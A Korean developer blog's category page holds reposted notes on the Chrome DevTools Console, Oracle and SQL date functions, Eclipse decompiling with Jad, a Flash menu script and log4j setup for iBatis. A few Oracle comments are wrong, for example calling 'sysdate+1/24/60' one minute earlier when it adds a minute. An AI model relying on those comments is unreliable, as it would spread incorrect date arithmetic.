'90.개발관련문서'에 해당되는 글 73건

  1. 2013.06.18 chrome Using the Console
  2. 2013.05.23 [펌]오라클 날짜 계산 1
  3. 2013.05.23 [SQL] SQL DateTime Functions
  4. 2013.05.23 [펌][Oracle] 시간 더하기 빼기
  5. 2013.03.07 ibatis 간단 예제
  6. 2013.03.06 [펌] 이클립스에서 자바 클래스 decompile 결과 보기
  7. 2013.03.05 [펌] [플래시] 무비클립 여러개 링크걸기
  8. 2013.03.05 [펌] iBatis 로그보기 - log4j 설정 1
  9. 2011.07.04 erwin 사용법 동영상
  10. 2010.11.15 [펌] 레지스트리로 USB 읽기 쓰기 제어하기
  11. 2010.11.12 [펌] 나는 이렇게 앱을 만들었다
  12. 2010.11.02 telnet http 소스 확인하기
  13. 2010.10.29 day-2(dwr기술자료).doc
  14. 2010.10.22 it 개발자(?) 위한 개발툴 모음
  15. 2010.10.06 Lucy-XSS Filter 1
  16. 2010.08.09 SVN 용 폴더 한 번에 삭제하기
  17. 2010.06.24 네트워크 연결 끊기 4
  18. 2010.06.10 프록시 서버 사용을 통한 방화벽 우회
  19. 2010.04.28 원도우 방화벽 실행시 오류 1068 나오면... 1
  20. 2010.01.05 XMLHttpRequest 객체
  21. 2009.10.05 response.sendRedirect()의 잘못된 사용방법과 올바른 사용방법
  22. 2009.10.05 XSS(Cross Site Scripting: 크로스 사이트 스크립팅) == CSS
  23. 2009.10.05 웹 보안취약점
  24. 2009.10.05 접근통제 취약점
  25. 2009.10.05 웹 해킹 원리와 방어 방법 1
  26. 2009.07.21 OWASP 10가지 웹 취약성
  27. 2009.07.14 gmail 네임텍 만들기 ( 로고 만들기)
  28. 2009.07.03 문자셋과 인코딩의 정의
  29. 2009.06.27 웹개발 문서 모음
  30. 2009.06.27 웹 접근성을 위한 웹 개발자 3가지 수칙
반응형

Using the Console

The JavaScript Console provides two primary functions for developers testing web pages and applications:

  • A place to log diagnostic information using methods provided by the Console API, such as console.log(), or console.profile().
  • A shell prompt where you can enter commands and interact with the document and the Chrome DevTools. You can evaluate expressions directly in the Console, and can also use the methods provided by the Command Line API, such as $() command for selecting elements, or profile() to start the CPU profiler.

This documentation provides an overview and common uses of these two APIs. You can also browse the Console API and Command Line API reference guides.

Basic operation

Opening the Console

The JavaScript Console is available in two modes within Chrome DevTools: the primary Console tab, or as a split-view you can display while on another tab (such as Elements or Sources).

To open the Console tab, do one of the following:

  • Use the keyboard shortcut Command - Option - J (Mac) or Control -Shift -J (Windows/Linux).
  • Select View > Developer > JavaScript Console.

Console panel view

To toggle a split-view of the Console on another tab, press the Esc key on your keyboard, or click the Show/Hide Console button in the bottom left corner of the Chrome DevTools window. In the following screenshot the Console split-view is shown with the Elements panel.

Console split-view

Clearing the console history

To clear the console's history, do one of the following:

  • Right-click or Ctrl-click anywhere in the Console and choose Clear Console from the context menu that appears.
  • Enter the clear() Command Line API at the shell prompt.
  • Invoke console.clear() Console API from JavaScript.
  • Use the keyboard shortcut ⌘K or ⌃L (Mac) Control - L (Windows and Linux).

By default, the console history is cleared when you navigate to another page. You can change this behavior by enabling Preserve log upon navigation in the Console area of the Settings dialog (see Console preferences).

Console settings

The Console has two global settings you can modify in the General tab of the DevTools Settings dialog:

  • Log XMLHTTPRequests—determines if each XMLHTTPRequest is logged to the Console panel.
  • Preserve log upon navigation—determines if console history for the current page is preserved when you navigate to another page. By default, both of these settings are disabled.

You can also change these settings by right-clicking anywhere in the Console to bring up the context menu.

Console panel view

Using the Console API

The Console API is collection of methods provided by the global console object defined by DevTools. One of the API's main purposes is to log information (such as a property value, or an entire objects or DOM element) to the console while your application is running. You can also group output visually in the console to reduce visual clutter.

Writing to the console

The console.log() method takes one or more expressions as parameters and writes their current values to the console. For example:

var a = document.createElement('p');
a
.appendChild(document.createTextNode('foo'));
a
.appendChild(document.createTextNode('bar'));
console
.log("Node count: " + a.childNodes.length);

Console log output

Instead of concatenating expressions together with the "+" operator (as shown above), you can put each in its own method parameter and they will be joined together in a space-delimited line.

console.log("Node count:", a.childNodes.length, "and the current time is:", Date.now());

Console log output

Errors and warnings

The console.error() method displays a red icon along with the message text, which is colored red.

function connectToServer() {
console
.error("Error: %s (%i)", "Server is not responding",500);
}
connectToServer
();

The console.warn() method displays a yellow warning icon with the message text.

if(a.childNodes.length < 3 ) {
console
.warn('Warning! Too few nodes (%d)', a.childNodes.length);
}

Example of console.warn()

Assertions

The console.assert() method conditionally displays an error string (its second parameter) only if its first parameter evaluates to false. For instance, in the following example an error message is written to the console only if the number of child nodes belonging to the list element is greater than 500.

console.assert(list.childNodes.length < 500, "Node count is > 500");

Example of console.assert()

Filtering console output

You can quickly filter console output by its severity level--errors, warning, or standard log statements--by selecting one of the filter options along the bottom of the Console, as shown below.

Only show console.error() output

Filter options:

  • All—Shows all console output.
  • Errors—Only show output from console.error()
  • Warnings—Only show output from console.warn()
  • Logs—Only show output from console.log(), console.info() and console.debug().
  • Debug—Only show output from console.timeEnd() and other console output.

Grouping output

You can visually group related console output statements together in the console with the console.group() and groupEnd() commands.

var user = "jsmith", authenticated = false;
console
.group("Authentication phase");
console
.log("Authenticating user '%s'", user);
// authentication code here...
if (!authenticated) {
console
.log("User '%s' not authenticated.", user)
}
console
.groupEnd();

Logging group example

You can also nest logging groups. In the following example a logging group is created for the authentication phase of a login process. If the user is authenticated, a nested group is created for the authorization phase.

var user = "jsmith", authenticated = true, authorized = true;
// Top-level group
console
.group("Authenticating user '%s'", user);
if (authenticated) {
console
.log("User '%s' was authenticated", user);
// Start nested group
console
.group("Authorizing user '%s'", user);
if (authorized) {
console
.log("User '%s' was authorized.", user);
}
// End nested group
console
.groupEnd();
}
// End top-level group
console
.groupEnd();
console
.log("A group-less log trace.");

Nested logging group example

To create a group that is initially collapsed, use console.groupCollapsed() instead of console.group(), as shown below:

console.groupCollapsed("Authenticating user '%s'", user);
if (authenticated) {
...
}

Initially collapsed group

String substitution and formatting

The first parameter you pass to any of the console's logging methods (log() or error(), for example) may contain one or more format specifiers. A format specifier consists of a % symbol followed by a letter that indicates the formatting that should be applied to the inserted value (%s for strings, for example). The format specifier identifies where to substitute a value provided by a subsequent parameter value.

The following example using the %s (string) and %d (integer) formatters to insert values into the output string.

console.log("%s has %d points", "Sam", "100");

This would result in "Sam has 100 points" being logged to the console.

The following table lists the supported format specifiers and the formatting they apply:

Format specifier Description
%s Formats the value as a string.
%d or %i Formats the value as an integer.
%f Formats the object as a floating point value.
%o Formats the value as an expandable DOM element (as in the Elements panel).
%O Formats the value as an expandable JavaScript object.
%c Applies CSS style rules to output string specified by the second parameter.

In the following example the %d format specifier is substituted with the value of document.childNodes.length and formatted as an integer; the %f format specifier is substituted with the value returned by Date.now(), which is formatted as a floating point number.

console.log("Node count: %d, and the time is %f.", document.childNodes.length, Date.now());

Using format specifiers

Formatting DOM elements as JavaScript objects

By default, when you log a DOM element to the console it's displayed in an XML format, as in the Elements panel:

console.log(document.body.firstElementChild)

You can also log an element's JavaScript representation with the console.dir() method:

console.dir(document.body.firstElementChild);

Equivalently, you can us the %O format specifier with console.log():

console.log("%O", document.body.firstElementChild);

Styling console output with CSS

You use the %c format specifier to apply custom CSS rules to any string you write to the Console with console.log() or related methods.

console.log("%cThis will be formatted with large, blue text", "color: blue; font-size:18pt");

Styling console output with CSS

Measuring how long something takes

You can use the console.time() and console.timeEnd() methods to measure how long a function or operation in your code takes to complete. You call console.time() at the point in your code where you want to start the timer and console.timeEnd() to stop the timer. The elapsed time between these two calls is displayed in the console.

console.time("Array initialize");
var array= new Array(1000000);
for (var i = array.length - 1; i >= 0; i--) {
array
[i] = new Object();
};
console
.timeEnd("Array initialize");

Example of using console.time() and timeEnd()

Marking the Timeline

The Timeline panel gives you a complete overview of where time is spent when loading and using your web app or page. The console.timeStamp() method marks the Timeline at the moment it was executed. This provides an easy way to correlate events in your application with other browser-related events, such as layout or paints.

In the following example the Timeline is marked when the application enters the AddResult() function's implementation.

function AddResult(name, result) {
console
.timeStamp("Adding result");
var text = name + ': ' + result;
var results = document.getElementById("results");
results
.innerHTML += (text + "<br>");
}

As shown in the following screenshot, the timeStamp() command annotates the Timeline in the following places:

  • A yellow vertical line in the Timeline's summary and detail views.
  • A record is added to the list of recorded events.

Timeline showing custom timestamp

Setting breakpoints in JavaScript

You can start a debugging session from your JavaScript code by calling the debugger command. For instance, in the following example the JavaScript debugger is opened when an object's brightness() function is invoked:

brightness : function() {
debugger;
var r = Math.floor(this.red*255);
var g = Math.floor(this.green*255);
var b = Math.floor(this.blue*255);
return (r * 77 + g * 150 + b * 29) >> 8;
}

Example of using debugger command

Using the Command Line API

In addition to being a place where you can log information from your application, the Console is also a shell prompt where you can directly evaluate expressions or issue commands provided by the Command Line API. This API provides the following features:

  • Convenience functions for selecting DOM elements
  • Methods for controlling the CPU profiler
  • Aliases for a number of Console API methods
  • Monitoring events
  • View event listeners registered on objects

Evaluating expressions

The Console attempts to evaluate any JavaScript expression you enter at the shell prompt, upon pressing the Return or Enter key. The Console provides auto-completion and tab-completion. As you type expressions, property names are automatically suggested. If there are multiple properties with the same prefix, pressing the Tab key cycles through them. Pressing the right arrow key accepts the current suggestion. The current suggestion is also accepted by pressing the Tab key if there is only one matched property.

To enter a multi-line expression at the shell prompt (such as a function definition) press Shift+Enter between lines.

Selecting elements

The Command Line API provides several methods to access DOM elements in your application. For example, the $() method returns the first element that matches the specified CSS selector, just like document.querySelector(). For instance, the following code returns the element with the ID "loginBtn".

$('#loginBtn');

The $$() command returns an array of all the elements that match the specified CSS selector, just like document.querySelectorAll(). For instance, the following displays selects all <button> elements with the CSS class "loginBtn":

$$('button.loginBtn');

Lastly, the x() method takes an XPath path as a parameter and returns an array of all elements that match the specified path. The following returns all the <script> elements that are children of the <body> tag:

$x('/html/body/script');

Inspecting DOM elements and JavaScript heap objects

The inspect() method takes a DOM element reference (or JavaScript reference) as a parameter and displays the element or object in the appropriate panel—the Elements panel for DOM elements, or the Profile panel for a JavaScript object.

For example, in the following screenshot the $() function is used to get a reference to an <li> element. Then the last evaluated expression property ($_) is passed to inspect() to open that element in the Elements panel.

Accessing recently selected elements and objects

Often when testing you'll select DOM elements—either directly in the Elements panel or using the Selection tool (magnifying glass)—so that you can further inspect the element. Or, when analyzing a memory snapshot in the Profiles panel, you might select a JavaScript object to further inspect it.

The Console remembers the last five elements (or heap objects) you've selected and makes them available as properties named $0, $1, $2, $3 and $4. The most recently selected element or object is available as $0, the second most as $1, and so forth.

The following screenshot shows the values of these properties after selecting three different elements in turn from the Elements panel:

Recently selected elements

Monitoring events

The monitorEvents() command monitors an object for one or more specified events. When an event occurs on the monitored object, the corresponding Event object is logged to the Console. You specify the object and the events you want to monitor on that object. For example, the following code enables event monitoring for every "resize" event on the global window object.

monitorEvents(window, "resize");

Monitoring window resize events

To monitor several events, you can pass an array of event names as the second parameter. The code below monitors both "mousedown" and "mouseup" events on the body of the document.

monitorEvents(document.body, ["mousedown", "mouseup"]);

You can also pass one of the supported "event types" that DevTools maps to a set of actual event names. For example, the "touch" event type cause DevTools to monitor "touchstart", "touchend", "touchmove", and "touchcancel" events on the target object.

monitorEvents($('#scrollBar'), "touch");

See monitorEvents() in the Console API Reference for a list of supported event types.

To stop monitoring events call unmonitorEvents(), passing the object to stop monitoring.

unmonitorEvents(window);

Controlling the CPU profiler

You can create JavaScript CPU profiles from the command line with the profile() and profileEnd() commands. You can optionally specify a name that's applied to the profile you create.

For example, the following shows an example of creating a new profile with the default name:

The new profile appears in the Profiles panel under the name "Profile 1":

If you specify a label for the new profile, it is used as the new profile's heading. If you create multiple profiles with the same name, they are grouped as individual runs under the same heading:

The result in the Profiles panel:

CPU profiles can be nested, for example:

profile("A");
profile
("B");
profileEnd
("B")
profileEnd
("A")

The calls to stop and start profiling do not need be properly nested. For example, the following works the same as the previous example:

profile("A");
profile
("B");
profileEnd
("A");
profileEnd
("B");

 

Posted by 1010
반응형
[펌]오라클 날짜 계산
출처 : http://www.zetswing.com/bbs/board.php?bo_table=ORACLE_TIP&wr_id=20&page=

1. Oracle에서의 날짜 특징

*oracle은 세기,년,월,일,시간,분,초의 내부숫자 형식으로 날짜를 저장합니다.
*디폴트 날짜형식은 'DD-MON-YY' 입니다.
*SYSDATE는 현재의 날짜와 시간을 리턴하는 함수입니다.(date타입)
ex : 2007-01-07 오후 10:34:00
*DUAL은 SYSDATE를 보기위해 사용된 dummy table입니다.

2.oracle에서의 날짜연산

* 날짜에서 숫자(날수)를 빼거나 더하여 날짜 결과를 리턴합니다. 결과는 날짜형식
* 날짜 사이의 일수를 알기 위하여 2개의 날짜를 뺍니다.
* 시간을 24로 나누어 날짜에 더합니다.
날짜 + 숫자 : 날짜 특정한 날로부터 몇일 후의 날짜 계산
날짜 - 숫자 : 날짜 특정한 날로부터 몇일 전의 날짜 계산
날짜 - 날짜 : 숫자 두 날짜 사이의 차이를 숫자로 계산

3.oracle에서의 날짜 컬럼데이타형

date 형

4. 월과 일을 문자로 출력시 한글로 나오는거 영문으로 나오게 하기

오라클 환경 설정에 따라 아래 쿼리를 실행시키면 "7월" 이라고 나올수 있다.
SELECT TO_CHAR(SYSDATE,'mon') FROM DUAL;

오라클 환경 설정에 따라 아래 쿼리를 실행시키면 "월요일" 이라고 나올수 있다.
SELECT TO_CHAR(sysdate,'day') FROM DUAL;

영문("Jul")으로 출력시키려면 아래 명령으로 환경설정을 변경한다.
ALTER SESSION SET NLS_LANGUAGE = 'AMERICAN';

※ 월요일, 화요일 형식이 아닌 월, 화 형식으로 나타내기
SELECT TO_CHAR(sysdate,'day') FROM DUAL;

5.날짜의 순서결과 데이타형

날짜 - 날짜 = 숫자
숫자 + 날짜 = 날짜
(날짜 - 날짜) + 날짜 = 날짜
날짜 + 날짜 = error


※ trunc함수를 날짜데이타에 사용하기

select sysdate from dual;
--2006-02-08 오전 12:11:05


select trunc(sysdate) from dual;
select trunc(sysdate,'dd') from dual;
--단지 시간을 없애고 날짜만 나오게 한다.
--2006-02-08


select trunc(sysdate,'d') from dual;
--시간을 없애고 일을 가장최근에 지난 일요일 일로 초기화합니다.(권장)
--2006-02-05


select trunc(sysdate,'d')+1 from dual;
--시간을 없애고 일을 가장최근에 지난 월요일 일로 초기화합니다.

select trunc(sysdate,'d')-1 from dual;
--시간을 없애고 일을 가장최근에 지난 토요일 일로 초기화합니다.


select trunc(sysdate,'ww') from dual;
--시간을 없애고 일을 가장최근에 지난 일요일 일로 초기화합니다.
--2006-02-05


select trunc(sysdate,'mm') from dual;
--시간을 없애고 일을 1로 초기화합니다.
--2006-02-01


select trunc(sysdate,'Y') from dual;
select trunc(sysdate,'YY') from dual;
select trunc(sysdate,'YYY') from dual;
select trunc(sysdate,'YYYY') from dual;
--시간을 없애고 년도는 올해 년도와 월과 일을 모두 1 로 변경하여 출력합니다.

ex. 2006-01-01

SELECT TO_CHAR(SYSDATE,'YYYYMMDD') FROM DUAL;
SELECT TO_CHAR('20070715') FROM DUAL;
-- 현재 날짜를 YYYYMMDD 형식으로 출력한다.(자주사용)

8자리일자와 6자리시간을 문자열로 출력
select
to_char(sysdate, 'yyyymmdd') ,
to_char(sysdate, 'hh24miss')
from dual

6.날짜 관련 쿼리 예제

해당일이 그달의 몇째주인지 알아내기(w)
SELECT to_char(to_date('20061224', 'yyyymmdd'), 'w') FROM dual;

해당년도의 전체 일수 구하기
SELECT to_date('20001231', 'YYYYMMDD') - to_date('20000101', 'YYYYMMDD') from dual
SELECT TO_CHAR (TO_DATE (:yyyy || '1231'), 'ddd') ilsu FROM DUAL
-- 위의 쿼리는 년도를 변수로 사용하였다.


UPDATE tab1 SET logdate = sysdate, ismodify = 1 WHERE logdate < sysdate-7
--기록된 날짜(LOGDATE)가 현재날짜(SYSDATE)로부터 일주일이 지났으면
--SYSDATE를LOGDATE에 쓰고 날짜가 바뀌었다는 기록을 남기는(ISMODYFY = 1) 쿼리

UPDATE tab1 SET logdate = sysdate, ismodify = 1 WHERE logdate < TRUNC(sysdate,'d')
기록된 날짜(LOGDATE)가 일요일이 한번이라도 지났다면, 즉 이번주 일요일부터 토요일간의 기록이라면 그대로 두고 그 이상 오래된 경우 현재날짜(SYSDATE)를 LOGDATE에 남기는 쿼리

select ename,job,hiredate from emp where hiredate between '1981-02-20' and '1981-05-01';
--1981년02월20일부터 1985년05월01일까지의 레코드를 검색한다.(꼭옛날날짜에서최근날짜로검색)


select ename,(sysdate - hiredate)/7 week from emp;
--sysdate함수로 현재 날짜시간에서 입사날짜(hiredate)를 빼면 일수가나오고 거기서 7을 나누어

--근무한 주수를 알수있습니다.

select * from emp where hiredate='1980/12/17';
--날짜 비교는 ''을 이용하여 비교합니다.


select months_between(sysdate,hiredate)/12 ,hiredate from emp;
--오늘날짜에서 입사날짜를 빼서 달수를 구한후 12을 나누어 근무한 년수를 구할수있다.


select months_between(to_date(20011129,'yyyymmdd'),to_date(20020228,'yyyymmdd')) from dual;
--첫번째 날짜에서 두번째 날짜를 빼서 달수로 구한다.

select round(months_between(sysdate,hiredate)/12) ,hiredate from emp;
--소수점이 있는 결과에서 반올림합니다.

select trunc(months_between(sysdate,hiredate)/12) ,hiredate from emp;
--소수점이 있는 결과에서 버림합니다.


ADD_MONTHS 함수예제

SELECT ADD_MONTHS(HIREDATE,2) FROM EMP;
-- HIREDATE값에 2달를 더하여 출력

SELECT TO_CHAR(ADD_MONTHS(SYSDATE,-1), 'YYYYMMDD'),
TO_CHAR(SYSDATE-30, 'HH24MIDD') FROM DUAL;
-- DATE형 현재 날짜시간에서 1달을 뺀후 출력

SELECT TO_CHAR(ADD_MONTHS(TO_DATE('20060907230000','YYYYMMDDHH24MISS'),
-1),'YYYYMMDDHH24MI') FROM DUAL;
-- CHAR형 현재 날짜시간에서 1달을 뺀후 출력

select add_months(to_date('200706'||'01','yyyymmdd'),-1) from dual
-- 20070601에서 한달을 뺍니다.

select add_months(hiredate,-2) from emp;
--입사날짜에서 2달을 빼서 출력합니다.


select hiredate+100 from emp;
--입사날짜에서 100일을 더합니다.


select hiredate-100 from emp;
--입사날짜에서 100일을 뺍니다.


LAST_DAY() 함수
해당 날짜에 달에 마지막 일의 날짜를 출력한다.
사용예제
SELECT LAST_DAY('2006-05-05') FROM DUAL;
--2006-05-31

SELECT LAST_DAY(SYSDATE) FROM DUAL;
--2006-05-31 오후 10:35:51


※oracle에서는 날짜함수에(sysdate) 산술연산이 가능합니다.
1일->1
1시간->1/24
1분->1/24/60
1초->1/24/60/60

select sysdate-1 from dual;
--지금 시간 기준으로 1일전


select sysdate-(1/24) from dual;
--지금 시간 기준으로 1시간전


select sysdate+1/24/60*1 from dual;
--지금 시간 기주으로 1분전


select sysdate+1/24/60*10 from dual;
--지금 시간 기주으로 10분전


select to_date(200611210800,'yyyymmdd hh24miss')+ 10/24 from duaL;
--10시간을 더한다.


select to_char(to_date('2005-05-05'),'d') from account;
--날짜를 숫자형식의 요일로 출력(1-일요일,7-토요일)

select to_char(to_date('2005-05-05'),'day') from account;
--날짜를 알파벳요일로 출력

select to_char(to_date('2005-05-05'),'year') from account;
--날짜를 알파벳년도로 출력


select to_char(to_date('2005-05-05'),'month') from account;
-- 월을 영문으로 완벽하게 출력


select to_char(to_date('2005-05-05'),'mon') from account;
-- 월을 영문 앞 3글자만 출력


select decode(to_char(to_date('2005-05-05'),'d'),
'2','1',
'3','2',
'4','3',
'5','4',
'6','5',
'7','6',
'1','7') "요일"
from dual;

--날짜의 요일을 숫자로 출력(1-월요일,7-일요일)

DATE형 컬럼 비교시

SELECT * FROM TABLE_NAME WHERE FDATE < to_date('20070711','YYYYMMDD')

6. 프로그래밍 언어에서 날짜 검색시 방법

날짜 관련 컬럼은 DATE, CHAR(8), NCHAR(8)을 주지만 DATE는 7바이트이다.

DATE형은 아래와 같이 검색 조건을 사용한다.

WHERE A_DATE BETWEEN '2005-10-10' AND '2005-10-30';
WHERE A_DATE BETWEEN TO_DATE('2005-10-10') AND TO_DATE('2005-10-30');

CHAR(8), NCHAR(8)형은 아래와 같이 검색조건을 사용한다.

WHERE A_DATE BETWEEN '20051010' AND '20051030';

두가지의 장단점을 알아보자

7. 해당 시간이 현재 24시간이 지났는지 알수 있는 쿼리

SELECT CASE WHEN SYSDATE - TO_DATE('20070727','YYYYMMDD') >= 1
THEN 'Y' ELSE 'N' END RESUAL FROM DUAL;
※ SYSDATE가 날짜형이므로 빼주는 값도 날짜형이어야 합니다.

SELECT round(to_date('95/05/25'),'DAY')
FROM dual
1995/05/28 00:00:00
SELECT TRUNC(TO_DATE('95/05/25'), 'DAY')
FROM dual
1995/05/21 00:00:00

문제는 day 함수에 있습니다.
day함수는 요일을 나타내죠.
따라서 to_date('95/05/25')를 day로 표시하면 수요일이 나옵니다.
위에 쿼리는 그걸 반올림하였으니 그 주에 가장 큰 28일이 나왔구요,
아래 쿼리는 그걸 잘라내버렸으니 그 주에 가장 작은 21일이 나온 겁니다.

SELECT SYSDATE + 2/24 FROM DUAL;
-- 현재시간의 2시간후에 시간을 출력
SELECT SYSDATE - 2/24 FROM DUAL;
-- 현재시간의 2시간전의 시간을 출력

select to_char(trunc(sysdate), 'rrrr/mm/dd') A from dual;
select to_char(trunc(sysdate), 'yyyy/mm/dd') A from dual;
YYYY포맺은 현재를 기준으로 합니다.
RRRR기준은 .년도의 뒷자리를 기준으로
2000년도 기준으로 보면
0-49 년은 after year 35/12/12 ->2055/12/12
50-99 년은 before year 51/12/12 ->1951/12/12
가 됨니다.

8. 날짜 관련 함수

SYSDATE 함수
? 현재 시스템 날짜를 출력
SELECT SYSDATE FROM DUAL;
-- ORACLE 10g XE 에서 출력되는 날짜형식
-- 2008-05-17 오후 5:15:17

LAST_DAY 함수
? 해당 날짜의 달에서 마지막 일을 출력
SELECT LAST_DAY(SYSDATE) FROM DUAL;
--2008-05-31 오후 5:16:54

 

Posted by 1010
반응형

SQL - Timestamp
A timestamp servers as the catch all for dates and times. Retrieving a timestamp is very simple and the result can be converted or manipulated in nearly every way imaginable.


SQL Code:
SELECT CURRENT_TIMESTAMP;
Return a Timestamp:2004-06-22 10:33:11.840
Keep in mind that each platform of SQL (DB2, Oracle, SQL Server, etc...) may return dates and times which are formatted differently.
SQL- Date FunctionsAs we just mentioned, it is possible to breakdown timestamps into their individual pieces using any of the following date functions.

SQL Code:
SELECT MONTH(CURRENT_TIMESTAMP);
Return a Month:6 SQL Code:
SELECT DAY(CURRENT_TIMESTAMP);
Return a Day:22

There are many more functions available, including functions to extract milliseconds, names of the months, names of each week day, etc.
Each SQL platform varies in the actual naming of date functions. Here's a few c\The following is a list of other date functions available to most platforms of SQL with the exception of MS's SQL Server.

SQL Function Code:
SELECT DATE(CURRENT_TIMESTAMP); - returns a date (2004-06-22)
SELECT TIME(CURRENT_TIMESTAMP); - returns the time (10:33:11.840)
SELECT DAYOFWEEK(CURRENT_TIMESTAMP); - returns a numeric value (1-7)
SELECT DAYOFMONTH(CURRENT_TIMESTAMP); - returns a day of month (1-31)
SELECT DAYOFYEAR(CURRENT_TIMESTAMP); - returns the day of the year (1-365)
SELECT MONTHNAME(CURRENT_TIMESTAMP); - returns the month name (January - December
SELECT DAYNAME(CURRENT_TIMESTAMP); - returns the name of the day (Sunday - Saturday)
SELECT WEEK(CURRENT_TIMESTAMP); - returns number of the week (1-53)


Timestamps are often the easiest to work with, but we certainly are not limited to using only the current_timestamp as our parameter. We can send any date, time, or timestamp to the function which then returns our result.

SQL Code:
SELECT MONTHNAME('2004-11-27');
Return a Month Name: MONTHNAME('2004-11-27') November
Date functions can also be performed on table columns similarly to numeric and mathematical functions such as SUM() or AVG().

SQL Code:
SELECT DAYOFYEAR(column_name) FROM table_name WHERE name = 'Joe';
SQL will return a numeric result from 1 - 365 representing the day of the year that Joe's record was created/inserted.We can expand this concept one step further with the use of a subquery. Say we have a table with a column named timestamp. In this table column are timestamps of when each record was entered and we would like to know what was the numeric day of the year that a record was entered.

SQL Code:
SELECT DAYOFYEAR((SELECT DATE(timestamp) FROM employees WHERE name = 'James Bond'));
Above you can see how it is possible to combine several date functions as well as a subquery to return very specific information about Mr. James Bond.
SQL - Inserting Date DataDate data exists as numbers, strings, and timestamps. Built into most platforms are several date column types such as DATE or TIMESTAMP. By setting the default value to the current date or timestamp, the table column will automatically be filled with a current date/timestamp as each record is inserted.
Here's the code to add a timestamp column to an existing table.
SQL Code:
ALTER TABLE `orders` ADD `order_date` TIMESTAMP DEFAULT CURRENT_TIMESTAMP NOT NULL;
Now each time an order is placed in our make believe business, a timestamp of that order is also recorded.A date or timestamp table column will only allow date data types to be inserted as values so be sure to convert any strings or numbers to dates and timestamps before trying to insert them.

SQL - Datepart()

Microsoft's SQL Server takes a little different approach to working with dates. It is still possible to extract individual parts of a timestamp and several other functions also work as outlined in SQL - Date. The difference is that SQL Server uses one main function as oppose to several different functions ie the DATEPART() function.
Datepart() requires two parameters, a part argument and a date argument. By part we mean year, day of the year, day of the week, etc. Let's look at an example.

SQL Code:
SELECT DATEPART(week, '2005-12-31');Return the Week Number:53

Here we have successfully pulled the "week number" from existing date.
SQL's CURRENT_DATE function could be also be substituted or a string value representing the year ('Dec 31, 2005').

Posted by 1010
반응형

–1시간 더하기

select to_char(to_date(’121212′,’hh24miss’)+1/24,’hh24:mi:ss’) from dual;

–30분 더하기

select to_char(to_date(’121212′,’hh24miss’)+30/24/60,’hh24:mi:ss’) from dual;

select to_char(to_date(’121212′,’hh24miss’)+30/(24*60),’hh24:mi:ss’) from dual;

–40초 더하기

select to_char(to_date(’121212′,’hh24miss’)+40/24/60/60,’hh24:mi:ss’) from dual;

select to_char(to_date(’121212′,’hh24miss’)+40/(24*60*60),’hh24:mi:ss’) from dual;

–12시간 58분 58초 더하기

select to_char(to_date(’121212′,’hh24miss’)+12/24 + 58/24/60 + 58/24/60/60,’hh24:mi:ss’) from dual;

– 시: 분: 초 가져오기

select substr(’125858′,1,2), substr(’125858′,3,2), substr(’125858′,5,2) from dual;

[참고] http://julymorning.co.kr/xe/index.php?document_srl=3798&mid=tiptech_prog

 

Posted by 1010
반응형
Posted by 1010
반응형

출처 : http://zsoo.net/68

 

1. Help -> Install New Software... 를 누릅니다


Add 버튼을 눌러 Location에 http://jadclipse.sf.net/update 을 적고 OK를 누릅니다.

밑 플러그인 목록에 JDT Decompiler Features를 체크 하여 설치합니다.

이클립스를 재시작합니다.



2. Window -> Preferences

General -> Editors -> File Associations 에서

*.class를 선택하고 밑에서 편집기를 Decompiled Class File Viewer를 선택하여 Default 로 지정합니다.



Java -> Decompilers 에서

Decompiler를 Jad를 선택합니다.



3. http://www.varaneckas.com/jad 에서 jad를 다운받습니다.


압축을 풀어 이클립스 실행파일이 있는 폴더에 복사합니다.



4. 이제 편집기에서 소스가 궁금한 클래스명을 선택하고 F3을 누르면..

디컴파일된 소스가 보이게 됩니다.. 클래스에 따라서.. 결과가 제대로 나오지 않을 수도있습니다..

참고로 실제 소스와 완전히 같지 않기 때문에 디버깅시에 전혀 엉뚱한 라인을 가리킵니다..ㄱ-

 

Posted by 1010
반응형
출처 : http://designblack.com/bbs/board.php?bo_table=tip&wr_id=307&sca=%C7%C3%B7%A1%BD%C3 

 

var activeNum = pageNum;
var activesub = subNum;
var overNum = activeNum;
var menuNum = 4;

var linkDim=new Array();
linkDim[0]="URL써주세요";
linkDim[1]="URL써주세요";
linkDim[2]="URL써주세요";
linkDim[3]="URL써주세요";
//////////////////////////
for (var i = 0; i<menuNum; i++) {
//몽 추가
this["menu"+i].bt.onRelease = function() {
this._parent._parent.overNum = this._parent._name.substring(4);
if (this._parent._parent.overNum==3) getURL(linkDim[this._parent._parent.overNum],"_blank");
else getURL(linkDim[this._parent._parent.overNum]);
//trace(i);
}
this["menu"+i].bt.onRollOver = function() {
this._parent._parent.overNum = this._parent._name.substring(4);
};
this["menu"+i].bt.onRollOut = function() {
this._parent._parent.overNum = this._parent._parent.activeNum;
};
this["menu"+i].onEnterFrame = function() {
if (this._parent.overNum == this._name.substring(4)) {
this.nextFrame();
this.flag = true;
} else {
this.flag = false;
this.prevFrame();
this.prevFrame();
}
};
}


무비클립의 이름은 menu0부터~ menuNum의 갯수만큼

 

Posted by 1010
반응형

 

출처 : http://slog2.egloos.com/3574039

1. log4j 다운.
- http://logging.apache.org/log4j/1.2/download.html 접속.
- apache-log4j-1.2.16.zip 을 다운받고 압축을 푼다.
- 압축을 푼 폴더안에 og4j-1.2.16.jar 파일이 있는지 확인 한다.

2. 이클립스 설정.
- 프로젝트 WEB_INF/lib 폴더에 log4j-1.2.16.jar 파일을 복사 붙여넣기 한다.
- 프로젝트 src에 new - file 만들기로 log4j.properties 파일을 만든다.
- log4j.properties 파일에 소스를 붙여넣기 한다.

log4j.rootLogger = debug, stdout, dailyfile //debug를 info,error,warn,fatal 로 조정만 하여 레벨 조정이 가능하다.
//콘솔창에 찍히는 부분 설정.

log4j.appender.stdout = org.apache.log4j.ConsoleAppender
log4j.appender.stdout.layout = org.apache.log4j.PatternLayout
log4j.appender.stdout.layout.ConversionPattern=%5p ({%t} %F[%M]:%L) [%d] - %m%n

//file에 기록되는 부분 설정.
log4j.appender.dailyfile.Threshold = DEBUG
log4j.appender.dailyfile = org.apache.log4j.DailyRollingFileAppender
log4j.appender.dailyfile.File = c:\\log\\logfile.log //여기에 지정된 폴더로 날짜별로 로그파일이 생성된다
log4j.appender.dailyfile.layout = org.apache.log4j.PatternLayout
log4j.appender.dailyfile.layout.ConversionPattern=%5p ({%t} %F[%M]:%L) [%d] - %m%n

3. 라이브러리 추가
- 프로젝트 우측클릭 properties 설정 - Java Build Path - Libraries - Add Libary... 클릭
- JUnit 클릭 - JUNIT library version : JUnit 3 - Finish

4. 사용해보기.
- log4j import
